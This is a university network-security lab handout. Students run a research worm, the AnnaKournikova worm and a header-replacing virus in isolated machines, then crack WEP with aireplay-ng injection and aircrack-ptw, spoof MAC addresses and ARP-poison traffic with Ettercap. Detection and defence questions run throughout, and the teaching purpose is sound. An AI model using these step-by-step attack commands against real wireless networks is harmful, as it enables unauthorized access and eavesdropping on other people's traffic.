1

ECE 4112: Internetwork Security Lab 8: Viruses, Worms, and Wireless

Group Number: _______________ Member Names: _________________________ _________________________ Date Assigned: March 7, 2012 Date Due: March 15, 2012 Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due. NOTE: The wireless lab section requires you to reserve slots to use the equipment. The signup sheets will be posted on the lab door. The equipment you need to sign up for will not be available at the last minute. PLAN AHEAD.

Part 1 Viruses and Worms

Goal: The goal of this lab is to come to a better understanding of viruses and worms by experimenting with them in a safe environment.

Summary: In this lab we will first look at two worms, one designed as a learning tool and an actual worm that had infected computers. Then we will look at a virus. In all three cases we will actually infect our computer to see how it is done and what happens to our computer then we will completely remove the malicious program.

Background and Theory: A worm is any program that propagates copies of itself via a network. They come in many varieties, from simple email worms to those that attack network services such as Code Red and SQL Slammer. We are going to analyze a simple version of the latter. This worm, dubbed the SPOC Worm (Simple Proof Of Concept) propagates itself through a buffer overflow in a network service known as “vuln_service.” This is a service created for this lab. It opens up a TCP socket on port 3333 that allows a connection and can be easily compromised. The program simply reads any data sent to it, but it uses a weak command (see question 1.6) that allows it to be overflowed. Any other network service with a buffer overflow vulnerability can be targeted instead, but “vuln_service” is particularly easy to study due to its simplicity.

2

The SPOC Worm first scans all LANs it is connected to and tries to connect to port 3333 (the port that “vuln_service” runs on). Upon finding any open ports, it connects, sends a special string formatted to overflow the buffer, and executes a copy of the worm. After finishing, it begins scanning random IP addresses looking for more vulnerable services. Detailed information about this worm may be found in the paper “Design and Implementation of a Research Worm.” [on class web site] In 2001, there was a worm called “AnnaKournikova” that propagated by being sent as an e-mail attachment with the subject “Here you have, ;o)” and a body of “Hi:”,”Check This!” By opening the attachment, a VBScript file ran that sent a duplicate e-mail to every entry in a Microsft Outlook Address Book. In order for this worm to run, it required a Windows platform machine with the Windows Scripting Host and Microsoft Outlook installed. This worm did not damage any files, but it clogged up many mailservers. The AnnaKournikova worm VBScript file and its unencrypted source code can be downloaded from this site: http://www.packetstormsecurity.org/viral-db/ Viruses work in a different way by infecting files but not spreading until a user moves that file to another computer.

Prelab Questions: None.

Lab Scenario: You will be using the RedHat WS 4 Physical Machine, RedHat7.2 Virtual Machine, and later a Windows XP virtual machine in the last part of the lab. The setup you will be implementing for Section 1 is shown below: In the above diagram, 57.35.6.a corresponds to the IP of your RH WS4 Physical Machine and 57.35.6.b corresponds to the IP of one of your RH7.2 Virtual Machine. These can be checked with #ifconfig After you copy what you need from the NAS, to be safe, make sure your network cable is unplugged, this will ensure your worms do not try to infect another groups machine. When you unplug your network cable, your host network card will not

RH WS4 Physical Machine Attacker 57.35.6.a

RH7.2 Virtual Machine Server 57.35.6.b

3

work even to talk to a virtual machine. To get around this use a “cross over plug” that the TAs have and plug this into your Ethernet card to trick your computer into leaving the network interface running. Copy the following files from the NAS, Lab8/Attacker folder to your RedHat WS4 Physical Machine (Attacker) directory /home/lab8 : worm.c, worm(an executable file), Vsrc2.c, test_virus.c. Copy the following files from the NAS, Lab8/Server folder to you RedHat7.2 Virtual Machine (Server) directory /home/lab8 : stackinfo.h, vuln_server.c, vuln_server (an executable file). Copy the following file from the NAS, Lab8/AnnaWorm folder to your WindowsXP Copy Virtual Machine into a desktop folder “anna”: AnnaKournikova.jpg.vbs.txt. Note: This lab also requires the use of Snort on your RedHat7.2 Virtual Machine (Server). You should have this installed from a previous lab, but if not, the appropriate files are also on the NAS in the Lab8 folder, they are libcap-0.7.2.tar.gz and snort-1.9.1.tar.gz. To install them: (from the directory on your hard-drive you copied the tar files to): #tar –xzvf libpcap-0.7.2.tar.gz #tar –xzvf snort-1.9.1.tar.gz #cd libpcap-0.7.2 #./configure #make #make install #cd ../snort-1.9.1 #./configure #make #make install

Section 1: Worms On the RedHat7.2 Virtual Machine (Server), you have vuln_server.c and the executable vuln_server in /home/lab8. You do not need to compile the code, it was provided only so you could see what the program is intended to do. You will also find this source code in Appendix A. We can watch “vuln_service” executing by logging into the RedHat7.2 Virtual Machine (Server) machine and typing: #cd /home/lab8

#strace ./vuln_service

Strace is a program that will allow you to watch what each program is doing by printing each system call that the program makes. You should see a lot of stuff go by and then see

4

it settle on a call to accept. Accept makes the program wait until it receives a connection from the network. Now run Ethereal on the RedHat WS4 Physical Machine (Attacker), and have it begin capturing packets RedHat -> Internet -> Ethereal Network Analyzer Capture-> options then start OK To get more acquainted with strace, watch what happens when you use the service correctly. From the RedHat WS4 Physical Machine (Attacker) machine, type #telnet 57.35.6.b 3333

When it connects, type the string “hi”. You should see a sequence of reads and writes occurring in “vuln_service.” Disconnect the telnet session (type ‘Ctrl-]’) and then type ‘quit’ at the prompt). Now, use strace to analyze the worm. You have copied the executable file worm onto the RedHat WS4 Physical Machine (Attacker), again, do not compile worm.c, just run this file. (The “source code” for the worm is included in Appendix B. The paper ‘Design and Implementation of a Research Worm” found on the class web site explains the worm code development). On the RedHat WS4 Physical Machine (Attacker) type: #cd attacker

# strace ./worm A lot of text should now be flowing by. The worm will be executing socket, connect, and close very quickly. This is it attempting to find copies of “vuln_service” by connecting to different IP addresses. Notice how the IP address in the connect call is changing. When it hits 57.35.6.b (the address of the RedHat7.2 Virtual Machine (Server)), it should execute a sequence of sends to send the malicious code to “vuln_service”, which will overflow its buffer and begin executing the worm. When this occurs, the “vuln_service” you ran on the RedHat7.2 Virtual Machine (Server) should begin executing the same familiar socket, connect, and close sequence. You can see this in the terminal where you ran “strace ./vuln_service”. This means that the worm has spread to that machine and is looking for more targets. Aside: You will see lots of 127.0.0.y addresses after the server is infected. The worm asks the machine what interfaces are active and sees the loopback interface 127.0.0.1 and begins sending to that network 127.0.0.y Stop packet capture using Ethereal on the RedHat WS4 Physical Machine (Attacker). Leave Ethereal running as you will need the output you collect below. Stop both vuln_service on the RedHat.72 Virtual Machine (Server) and worm on the RedHat8.0 Physical Machine (Attacker) with CTRL-c.

5

Q1.1: The SPOC Worm is incredibly easy to detect. What are some methods you could use to detect the presence of the worm? Q1.2: What are some ways in which the worm could be designed to bypass detection? Q1.3: What is the growth rate of this type of worm given a network with many copies of the vulnerable service running? (Give a general answer) Look at the packets captured by Ethereal. Q1.4: Devise a rule for Snort (see lab 7 for help) that will detect this worm. Add it to the rule base of Snort as done in the forensics lab. Submit the rule with the assignment. Close Ethereal. Run Snort with the new rule base on the RedHat7.2 Virtual Machine (Server). Execute the vuln_service and worm as in the first part of the lab. Q1.5: Does Snort alert you to the worm? Now that you know of the presence of the worm, what do you do if you are responsible for the server? Here is a portion of the vuln_service code (this does not match exactly what is on the machine in the lab (and in the Appendix) since this code has been cleaned up a bit since installed on the machine: // sockfd is a socket file descriptor to a client void svcHandle(int sockfd) { char paddington[HALFK]; char userinput[BUFFER_SIZE]; if ( (dup2( sockfd, STDOUT_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; } if ( (dup2( sockfd, STDIN_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; } bzero( userinput, BUFFER_SIZE); printf( "1- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "please input a 16 character string:\n"); gets( userinput); printf( "2- Input:(%d)\n", strlen(userinput)); }

6

Q1.6: What part is vulnerable to buffer overflow, and how can it be fixed?

Section 2: A real world worm, AnnaKournikova We have already given you some background information on this worm, now it is time to analyze it to see how it works. Run the copy of the Windows XP virtual machine you have created in a previous lab. You should have acquired the file AnnaKournikova.jpg.vbs.txt (actual VBScript file) from the lab8 folder on the NAS machine and placed it in a desktop folder called “anna.” We have supplied you with the Source code in Appendix C. Once you have acquired these files, make sure that your network cable is still unplugged. First, analyze the source code of this worm. Look at Appendix C. This code can be appreciated even for someone who is not familiar with the VBScript language. The subject line and the body of the e-mail should also be clearly defined to you and with a little work you will be able to see what is going on. Note that at the end it writes something to “HCKU\software\OnTheFly”. Q2.1: How does the function doMail() help in spreading the worm? Q2.2: Other than spreading, what is the purpose of this worm? Q2.3: On what day will this happen? Q2.4: How can you help prevent the spreading of this worm? Now that you have a good feel for how the worm works, run the VBScript file. Take off the “txt” extension from the file AnnaKournikova.jpg.vbs.txt file so that Windows now recognizes it as an executable file instead of a text file. This can be done by opening up a cmd prompt in windows and typing: #cd Desktop #cd anna #rename AnnaKournikova.jpg.vbs.txt AnnaKournikova.jpg.vbs Now go to your “anna” folder and double click on the file.

7

Now run the Windows Task Manager by pressing the key combination Ctrl-Alt-Delete. Click on the Processes tab and you should see a window like in Figure 1.

Figure 1. Processes outlined in Windows Task Manager.

Don’t you find the fact that CPU Usage is near 100% a little strange for an idle machine? If you look at the processes listed, you will find an executable using most of the CPU resources (in the case of Figure 1, it is wscript.exe). By ending this process, you should notice, in the Performance tab, that the CPU usage should drop down to what is normally expected of an idle machine. Go ahead and run the VBScript file again, and you should notice the CPU Usage again jump back up to nearly 100%. This type of system performance anomaly is one way to detect whether a worm is trying to execute its code. Now make sure you end the worm process before you proceed further. Q2.5: What is one way in which anti-virus programs detect worms and viruses? Give an example (hint: look at the source code for the AnnaKournikova script) Now, manually remove the AnnaKournikova worm by going to the “Removal” section on the website. Removal of the worm requires that you kill the running worm, remove copies of the AnnaKournikova.jpg.vbs file from its C:\WINDOWS directory, and remove its registry entry. First, remove the registry entry. Click on the Start button and select Run. Then type regedit to open the registry editor. Now search for the term OnTheFly since that is where the worm made its registry entry. (You should remember this fact from viewing the source code and reading the information on the website.) The registry editor should find the OnTheFly folder just like in Figure 2.

8

Figure 2. Worm’s Registry Entry “OnTheFly”

Now delete this entry by right-clicking on the OnTheFly folder and selecting delete. The entry should be removed. Now let us remove the AnnaKournikova.jpg.vbs file from the C:\WINDOWS directory and the Desktop folder we created. Now reboot the WindowsXP virtual machine. The worm should be ineffective now. With this exercise, you should have learned how a real world worm can operate, where it can hide, and how to remove it by consulting sources.

Section 3: Viruses In this portion of the lab, you will see how a computer virus infects a file system in Linux and how a virus is spread. Please read the program Vscr2.c (you have already copied this onto your RedHat WS4 Physical Machine (Attacker) and also it is included in Appendix D), and try to figure out what the program achieves. On the RedHat WS4 Physical Machine (Attacker), change the directory to /usr/local/include using the following command:

# cd /usr/local/include Type the command

# ls –l to look at what files are in this directory. Does this directory include file stdio.h? (It should not already be there!) Also take a look at /usr/include and note it does contain stdio.h

9

This is the uncorrupted copy of stdio.h that should always be on your machines. This exploit is going to put a hacked copy of stdio.h in /usr/local/include which will be used (if it exists) before the copy in /usr/include/stdio.h will be used. Go to your /home/lab8/Attacker directory and compile the program Vscr2.c using the command:

# cc Vsrc2.c –o Vsrc then run Vscr

# ./Vsrc Poor Doreen! Again go to the directory /usr/local/include using the command:

# cd /usr/local/include Again type the command

# ls –l to look at what files are in this directory. Q3.1: Is the file stdio.h in this directory right now? Q3.2: What is the creation time of this file? Q3.3 Use text editor to open stdio.h, and read this file. What is in this file? Still on your RedHat WS4 Physical Machine (Attacker) open test_virus.c with text editor and read that (or look at Appendix E). What .h files does it use? Compile test_virus.c using the command: # cc test_virus.c –o test_virus Copy this test_virus file to your RH7.2 Virtual Machine. You can use the shared folders functionality of VMWare that you setup in an earlier lab to do this. Place the virus in the /home/lab8 folder you created. Now that you have the virus copied over: On the RH7.2 Machine: Go to the directory /usr/local/include and see whether there is the file stdio.h in this directory using the commands:

# cd /usr/local/include # ls –l

Go back to your / home/lab8 directory and run the file test_virus:

#./test_virus Again go back to the directory /usr/local/include and see whether the file stdio.h is in this directory right now. Now to undo the dirty deeds you have done: 1) Delete the file stdio.h from the directory /usr/local/include in the two RedHat Machines Server and Attacker. On each machine type:

10

#rm /usr/local/include/stdio.h

2) On the RedHat7.2 Virtual Machine (Server) type: #rm /home/lab8/test*

3) On the RedHat WS4 Physical Machine (Attacker) type: #rm /home/lab8/test_virus Q3.4: Which source code is malicious, Vscr2.c or test_virus.c? Q3.5: Why is the second Linux machine infected by a virus? Q3.6: If you use a Linux machine, download the file test_virus, and run it, will your system be infected? Q3.7: How do you prevent a computer virus? Q3.8: From this lab, what are some notable differences between worms and viruses in respect to how they infect a system?

Section 4: Worm Generator You have seen in this lab and in the media how damaging worms can be when they get out to the rest of the world. Worms seem to have become more popular to the point where even script kiddies can create one. In this section of the lab, you will examine how easy it is to create a simple worm by creating your own worm in Visual Basic.

• Start the Windows XP Virtual Machine • In the NAS\Lab8 folder, copy the file ssiwg.exe from the NAS to a folder called

“worm” on your desktop • Double click the file ssiwg.exe. • Fill in the fields for your worm’s name, the subject of the e-mail you would like

the worm to use, and the e-mail content you would like for your worm. • If you like, you can use the “crypt code” option to have the worm’s code appear

more cryptic so its not as easy to read • Click “MAKE” • Notice the yourWorm.vbs file that has been created in your “worm” folder.

Answer the questions below by opening the .vbs worm you created in a text editor and going through the code to get a sense of what it does. Q4.1: What major similarity is there with this worm and the AnnaKournikova worm we looked at earlier? (Hint: how does it spread?) What code clues you into this? Q4.2: How might someone protect themselves from a worm like this?

11

Part 2 Wireless Goal: The goal of this section of the lab is to use wireless tools on the Backtrack Live-CD such as Kismet and Aircrack to detect and penetrate wireless networks. You will sniff packets to obtain MAC addresses to get around filters and crack a WEP key and snoop on the traffic in the network.

Summary: The four sections of this lab will show you how attackers spoof a MAC address, crack WEP, perform a Man in the Middle attack, and snoop on wireless traffic.

Background and Theory: Introduction

IEEE RFC 802.11 denotes a set of Wireless LAN standards developed by working group 11 of the IEEE LAN/MAN Standards Committee (IEEE 802). This set of standards is commonly called “Wi-Fi.” The 802.11 family currently includes six over-the-air modulation techniques that all use the same protocol, the most popular (and prolific) techniques are those defined by the a, b, and g amendments to the original standard; security was originally included, and was later enhanced via the 802.11i amendment. Other standards in the family (c–f, h–j, n) are service enhancement and extensions, or corrections to previous specifications. 802.11b was the first widely accepted wireless networking standard, followed (somewhat counter intuitively) by 802.11a and 802.11g. 802.11b and 802.11g standards use the unlicensed 2.4 GigaHertz (GHz) band. Operating in an unregulated frequency band, 802.11b and 802.11g equipment can incur interference from microwave ovens, cordless phones, and other appliances using the same 2.4 GHz band. The equipment in the lab is capable of using either the 802.11a or 802.11b protocol. You will be using 802.11b.

Wireless Network Security

SSID Hiding The broadcast properties of wireless technology makes it vulnerable to a series of attacks. Snooping on a wireless network consists of using a laptop, a wireless card, and some software while being in transmission range of a wireless network. The service set identifier, or SSID, is the name of the wireless network and it can be used to gain access. Turning off SSID broadcasting means that no one can see it by using an auto find of networks. However, if you leave the default SSID unchanged, a hacker could try the common SSIDs and connect to your network if there is no other security on the network.

12

MAC Address Filtering MAC address filtering can be used to increase the security of your network. It works by allowing only a set list of network cards to connect based upon their known MAC address, which should be unique for every device. However, MAC address can be captured by snooping and then spoofed which will then allow an attacker to gain access. Most wireless cards now allow MAC addresses to be changed, so this is does not adequately work as a security feature either.

WEP Encryption

If a user activates WEP, the wireless encrypts the payload (frame body and CRC) of each 802.11 frame before transmission using an RC4 stream cipher provided by RSA Security. The receiving station, such as an access point or another radio NIC, performs decryption upon arrival of the frame. As a result, 802.11 WEP only encrypts data between 802.11 stations. Once the frame enters the wired side of the network, such as between access points, WEP no longer applies.

As part of the encryption process, WEP prepares a keyschedule ("seed") by concatenating the shared secret key supplied by the user of the sending station with a random-generated 24-bit initialization vector (IV). The IV lengthens the life of the secret key because the station can change the IV for each frame transmission. WEP inputs the resulting "seed" into a pseudo-random number generator that produces a keystream equal to the length of the frame's payload plus a 32-bit integrity check value (ICV).

The ICV is a check sum that the receiving station eventually recalculates and compares to the one sent by the sending station to determine whether the transmitted data underwent any form of tampering while intransient. If the receiving station calculates an ICV that doesn't match the one found in the frame, then the receiving station can reject the frame or flag the user.

WEP specifies a shared secret 40 or 64-bit key to encrypt and decrypt the data. Some vendors also include 128 bit keys (know as "WEP2") in their products. With WEP, the receiving station must use the same key for decryption. Each wireless card and access point, therefore, must be manually configured with the same key.

Before transmission takes place, WEP combines the keystream with the payload/ICV through a bitwise XOR process, which produces ciphertext (encrypted data). WEP includes the IV in the clear (unencrypted) within the first few bytes of the frame body. The receiving station uses this IV along with the shared secret key supplied by the user of the receiving station to decrypt the payload portion of the frame body.

13

In most cases the sending station will use a different IV for each frame (this is not required by the 802.11 standard). When transmitting messages having a common beginning, such as the "FROM" address in an e-mail, the beginning of each encrypted payload will be equivalent when using the same key. After encrypting the data, the beginnings of these frames would be the same, offering a pattern that can aid hackers in cracking the encryption algorithm. Since the IV is different for most frames, WEP guards against this type of attack. The frequent changing of IVs also improves the ability of WEP to safeguard against someone compromising the data. WEP has been part of the 802.11 standard since initial ratification in September 1999. At that time, the 802.11 committee was aware of some WEP limitations; however, WEP was the best choice to ensure efficient implementations worldwide. Nevertheless, WEP has undergone much scrutiny and criticism over the past couple years. WEP is vulnerable because of relatively short IVs and keys that remain static. The issues with WEP don't really have much to do with the RC4 encryption algorithm. With only 24 bits, WEP eventually uses the same IV for different data packets. For a large busy network, this reoccurrence of IVs can happen within an hour or so. This results in the transmission of frames having keystreams that are too similar. If a hacker collects enough frames based on the same IV, the individual can determine the shared values among them, i.e., the keystream or the shared secret key. This of course leads to the hacker decrypting any of the 802.11 frames. The static nature of the shared secret keys exacerbates this problem. 802.11 doesn't provide any functions that support the exchange of keys among stations. As a result, system administrators and users generally use the same keys for weeks, months, and even years. This gives mischievous culprits plenty of time to monitor and hack into WEP-enabled networks. Due to this, WEP is very easily cracked. In 2005, a group from the U.S. Federal Bureau of Investigation gave a demonstration where they broke a WEP-protected network in 3 minutes using publicly available tools. You will perform some of these attacks.

One of the most basic attacks a hacker can perform once finding a wireless network is to identify the access point, AP, and check to see if the default settings are in use. A large number of home users, and some businesses, do not change their settings on their AP. Once the brand of the device is known, its default settings are easy to lookup on the Internet, as companies publish them so people can use their devices. [6]

14

Lab Scenario: Two machines will be setup by the TAs to simulate a wireless network. One of those machines will be a wired connection to a Wireless Access Point, which is a Linksys WRT54GL. There will be a client connected through wireless and constantly sending data on the network. You will be using two of the student lab machines to get access to the wireless network & see what the machines are doing. Both machines will be running a BackTrack2 live machine. The machines, called Attacker 1 & Attacker 2, will do different things, so make sure you look at which machine to use. Software: WireShark - http://www.wireshark.com/ BackTrack2 - http://www.remote-exploit.org/ ?page_id=160 Aircrack - http://wirelessdefence.org/Contents/Aircrack_aircrack.htm Aircrack-ptw - http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/ Kismet - http://www.kismetwireless.net/ Signup: There is only one setup for this lab so you will need to sign up in advance. Your group may sign up for a maximum of 2 hours in the future. Do not abuse this rule! Once you have used your “two hours” you may sign up again for another hour. You are never allowed to have more than 2 hours scheduled in the future. If you do not show up within the first 15 minutes, you forfeit your reservation and someone else may claim your reservation. The reservation sheet is located on the door of Klaus 2446. You do not have to demo anything with the TAs so you may work whenever you want. The setup for the wireless lab is shown in below. The monitor for each machine is labeled accordingly.

15

Section 5: Reconnaissance on the network One reason for poor security in wireless networks has nothing to do with the technology; it is due to the operators. Most consumer wireless devices are extremely easy to setup. Many users hook up the equipment and when it works, they do not modify its settings. This leaves huge security holes. We will be exploring a network that does have some security features implemented on it. It will be your job to break into the network and snoop on what is going on inside. Step 0 – Attacker 1 & 2

1. Login to Backtrack2 > bt login: root > password: toor

2. Start xWindows > startx

Step 1 – Attacker 1 & 2 Now, configure the wireless cards. > ifconfig rausb0 up > airmon-ng > airmon-ng start rausb0 > iwconfig rausb0 mode monitor

16

Check & make sure that they are both enabled & in monitor mode before continuing.

Step 2 – Attacker 2 Only

1. Open Kismet – Start -> BackTrack -> Radio Network Analysis -> 80211 -> Analyzer -> Kismet. Wait for it to load.

2. When the list displays, press ‘s’, then ‘c’ and find your target wireless network, ECE4112 in the list.

3. Highlight it and press ‘i’. This will bring up details of the wireless AP. Record the MAC address of the AP. Also note the channel that the access point is operating on as you will need this later. It is listed under the BSSID field. Press ‘q’ to exit this screen.

4. With ECE4112 still highlighted, press SHIFT + ‘l’. The status in the bottom box should said “Locking Source ‘Ralink_g; to channel x” or similar (where x is the channel of the access point). Don’t close this screen.

Question 5.1: What is the MAC address of the AP?

Section 6: Cracking the WEP Step 3 – Attacker 2 Only

1. Start Airodump: Start -> BackTrack2 -> Radio Network Analysis -> 80211 -> Aircrark -> Airodump

2. Run the command:

airodump-ng -w capture --channel <AP Channel> –bssid <AP MAC ADDRESS> rausb0

Only look at ones that are associated with our BSSID from kismet screen window. The MAC address of the client connected to AP is listed under ‘Station’ on the screen. It is the one that is associated with the MAC address of the AP. Only pay attention to packets on this connection. Record the MAC address of the client. This is capturing packet information for you to use to break the key in a later step into a file called capture.cap (or capture01.cap, etc. depending on how many times you restart the program).

The number listed under Data is a running count of the packets that are being transmitted over the network and captured by the airodump command. As you can see, packets are going slowly. At this rate, it will take you a while to gather enough packets to crack the WEP!

Question 6.1: What is the MAC address of the client?

17

Step 4: Attacker 1 Only Now, try to inject some packets to speed up packet capture and to get a better chance of finding the key. <AP MAC> refers to the BSSID shown in the AiroDump Window, <CLIENT MAC> refers to the Station MAC shown in AiroDump Window, and ESSID is listed in the AiroDump and kismet windows.

1. Now Start AirReplay: Start -> BackTrack -> Radion Network Anaylsis -> 80211 -> Cracking -> Aircrack -> AirReplay

2. Run the commands:

modprobe rt73 iwconfig rausb0 mode monitor channel <AP Channel> aireplay-ng -1 0 –e <ESSID> -a <BSSID> -h <CLIENT MAC> rausb0 (this command should return a successful authentication message) aireplay-ng --deauth 10 -e <ESSID> -a <AP MAC> -c <CLIENT MAC> rausb0

Leave this final command - DO NOT PRESS ENTER! 3. Open Another AirReplay: Start -> BackTrack -> Radion Network Anaylsis ->

80211 -> Cracking -> Aircrack -> AirReplay 4. Run the command: aireplay-ng --arpreplay -b <AP MAC> -h <CLIENT MAC> rausb0

DO NOT PRESS ENTER 5. Have the deauth & arpreplay windows next to each other. 6. Send replay first, the deauth immediately afterward. 7. You will know that this has worked when the window with arpreplay window

says “(got X arp packet)” and X is greater than 0. As soon as it gets 1 ARP packet, both the sent and received arp packet counts will start increasing rapidly. The “#/s” should be over 100 as well. You will have to try both of these several times due to the ARP cache’s TTL being long. If you do not observe any packets and a TA is present you may ask for help initiating this, if not make at least ten attempts then move on.

8. If you succeeded, you should see the data count on attacker 2 increase much faster.

18

Step 5 Attacker 2

In this step, you will install Aircrack-ptw, a better version of Aircrack that requires fewer packets to crack than the version currently on Backtrack2. 1. Get the floppy or USB key containing aircrack-ptw from the TA if it is not

already with the Attacker 2 machine. 2. Put it in the Attacker 2 machine and copy the aircrack folder to the root

directory. To mount the floppy type: mount /dev/fd0 The files can be found in: /mnt/floppy or /mnt/sdb1_removable depending on whether the floppy or USB key is used.

3. Inside the folder, copy aircrack-ptw into usr/local/bin so that you can run it from the terminal.

4. Open a terminal and run: aircrack-ptw capture.cap (or whatever your capture file from airodump-ng is called)

This command may be run while the packet capture is still in progress, as the file is automatically updated as new packets are captured. If it does not find the WEP key it will display the amount of packets captured thus far and then return to the command prompt. If you were able to get the areplay command from Step 4 to generate arp packets you should be able to find the WEP key in a relatively short time (less than 10 minutes), you just need to keep trying while packets are being captured.

5. If it fails to crack it with the packets you captured, obtain the capturefile.cap from the provided USB key and rerun the command with this file. It should find the WEP key quickly.

6. Once you crack the WEP, stop the airodump from capturing packets and the

areplay from sending packets.

Question 6.2: How many packets did it take your group to crack the WEP key?

Question 6.3: What was the WEP?

Section 7: MAC Address Filtering Step 6 - Attacker 1

Now that you have the WEP key, snoop the traffic in the network. 1. Open Terminal

> ifconfig rausb0 down > ifconfig rausb0 up > iwconfig rausb0 essid <ESSID> enc <WEP w/o colons> mode managed > dhcpcd rausb0

19

2. You should be connected now. Ping the router using its address, 192.168.1.1 3. Did it work? You must have had your MAC address blocked for previous

suspicious activity on the network. You must change your MAC address to get access.

4. Backtrack2 provides functionality to do this. Open a terminal and type: a. > ifconfig rausb0 down b. Open the MacChanger: Start -> Backtrack -> Misc -> MacChanger c. Since just Attacker 1 & Attacker 2 MACs are blocked, you can choose one

at random to use. To do this type: > macchanger –a rausb0 If only certain MACs are allowed on a network, you could get around it by spoofing a MAC address of someone who leaves the network or that you don’t want to sniff traffic of.

5. Now go back to the beginning of this step and try getting on the network again. Ping 192.168.1.1 to make sure it works.

Section 8: Man in the Middle Attack Step 7 – Attacker 1

1. Open Wire Shark by typing ‘wireshark &’ in the console start capturing on rausb0

2. Start Ettercap, our Man in the Middle software that you will remember from earlier labs by: Start -> Backtrack -> Privilege Escalation -> Sniffers -> Ettercap

3. Set up Ettercap: a. In menu bar: Sniff -> Unified Sniff. Select ‘rausb0’ & click okay b. Press CTRL + S. You should see "2 hosts added to the hosts list" in the

bottom box. It may take a second for Ettercap to find both hosts. You may need to retry the scan until it finds 2.

c. In the menu bar: Mitm -> ARP Poisons. Choose Sniff Remote connections. It should display "GROUP 1" & "GROUP 2" in the box on the bottom.

d. In the menu bar: Start -> Start Sniffing e. Check Wireshark. You should see a lot of tcp traffic. Select ‘Follow TCP

Stream’ to reconstruct what is happening.

Question 8.1: What messages do you see being sent? What kind of activity are you sniffing? Screenshot #1 Take a screenshot (Start->Screenshot) of the TCP stream with the sniffed traffic.

20

Congratulations! You have just broken into a seemingly secure network & are snooping on the traffic in the network!

When you are finished, turn off the computers by typing: >shutdown –h now

Section 9: Defenses WPA is a new form a security on wireless networks. It is breakable, but much harder than WEP. It is susceptible to dictionary based attacks as well as brute force attacks. If your WPA2 password is long and random, this will be hard to attack. Also, changing your password regularly also helps. It is also important to utilize other security features, but you should know that they are not going to provide you with ample security alone. Disabling SSID broadcast & MAC filter are good steps to take in addition to WPA security. You can also change the default passwords and make it so your router cannot be logged into from a wireless connection. Using theses methods along with long, random WPA passwords will also increase the safety of your wireless network. Question 9.1: What makes WPA2 better than WEP? Sources: [1] http://en.wikipedia.org/wiki/IEEE_802.11 [2] http://en.wikipedia.org/wiki/WEP [3] http://en.wikipedia.org/wiki/RC4 [4] http://www.securityfocus.com/infocus/1814 [5] http://www.cr0.net:8040/code/network/aircrack/ [6] http://www.wi-fiplanet.com/tutorials/article.php/1368661

21

Additional Wireless FYI – Why WEP is Insecure Data security in 802.11 is usually accomplished by Wired Equivalent Privacy (WEP). The RC4 stream-cipher algorithm is used to encrypt the data. WEP relies on a secret key, normally 40 bits, and an initialization vector (IV), which is 24 bits, as a seed for the algorithm. The encryption of a frame proceeds as follows: RC4 generates a pseudorandom stream of bits (a "keystream") which, for encryption, is combined with the plaintext using XOR as with any Vernam cipher; decryption is performed the same way. To generate the keystream, the cipher makes use of a secret internal state which consists of two parts:

1. A permutation of all 256 possible bytes (denoted "S" below). 2. Two 8-bit index-pointers (denoted "i" and "j").

The permutation is initialised with a variable length key, typically between 40 and 256 bits, using the key-scheduling algorithm (KSA). Once this has been completed, the stream of bits is generated using the pseudo-random generation algorithm (PRGA). For as many iterations as are needed, the PRGA modifies the state and outputs a byte of the keystream. In each iteration, the PRGA increments i, adds the value of S pointed to by i to j, exchanges the values of S[i] and S[j], and then outputs the value of S at the location S[i] + S[j] (modulo 256). Each value of S is swapped at least once every 256 iterations. i := 0 j := 0 while GeneratingOutput: i := (i + 1) mod 256 j := (j + S[i]) mod 256 swap(S[i],S[j]) output S[(S[i] + S[j]) mod 256] The key-scheduling algorithm is used to initialize the permutation in the array "S". "l" is defined as the number of bytes in the key and can be in the range 1 ≤ l ≤ 256, typically between 5 and 16, corresponding to a key length of 40–128 bits. First, the array "S" is initialised to the identity permutation. S is then processed for 256 iterations in a similar way to the main PRGA algorithm, but also mixes in bytes of the key at the same time. for i from 0 to 255 S[i] := i j := 0 for i from 0 to 255 j := (j + S[i] + key[i mod l]) mod 256 swap(S[i],S[j])

22

RC4 falls short of the standards set by cryptographers for a secure cipher in several ways, and thus is not recommended for use in new applications. The keystream generated by RC4 is slightly biased in favour of certain sequences of bytes. The best attack based on this bias is due to Fluhrer and McGrew, which will distinguish the keystream from a random stream given a gigabyte of output. RC4 does not take a separate nonce alongside the key. As with any cipher, but particularly with Vernam ciphers, such a nonce is a requirement for security, so that encrypting the same message twice produces a different ciphertext each time. A secure solution to this that works for any secure cipher is to generate each RC4 key by hashing a long-term key with a unique nonce using a construction such as HMAC. However, many applications that use RC4 simply concatenate key and nonce; RC4's weak key schedule then gives rise to a variety of serious problems. In 2001 a new and surprising discovery was made by Fluhrer, Mantin and Shamir: over all possible RC4 keys, the statistics for the first few bytes of output keystream are strongly non-random, leaking information about the key. If the long-term key and nonce are simply concatenated to generate the RC4 key, this long-term key can be discovered by analysing large number of messages encrypted with this key. This and related effects were then used to break the WEP ("wired equivalent privacy") encryption used with 802.11 wireless networks. This caused a scramble for a standards-based replacement for WEP in the 802.11 market, and led to the IEEE 802.11i effort and WPA. Cryptosystems can defend against this attack by discarding the initial portion of the keystream (say the first 1024 bytes) before using it. While WEP may sound like a great idea, it is inherently flawed on many levels. For the scope of this lab, the major flaws lie in the use of the initialization vector and the RC4 algorithm itself. In a paper entitled Weaknesses in the Key Scheduling Algorithm of RC4 by Fluhrer, Mantin, and Shamir, the authors propose a method in which under certain conditions the key setup algorithm of RC4 can leak information about the secret key. To attack RC4, they propose to search for specific IV’s that place the keystream in this vulnerable state. In the parlance of this attack, these vectors are called “interesting”. By collecting enough of these “interesting packets” the entire secret key can be reconstructed.

23

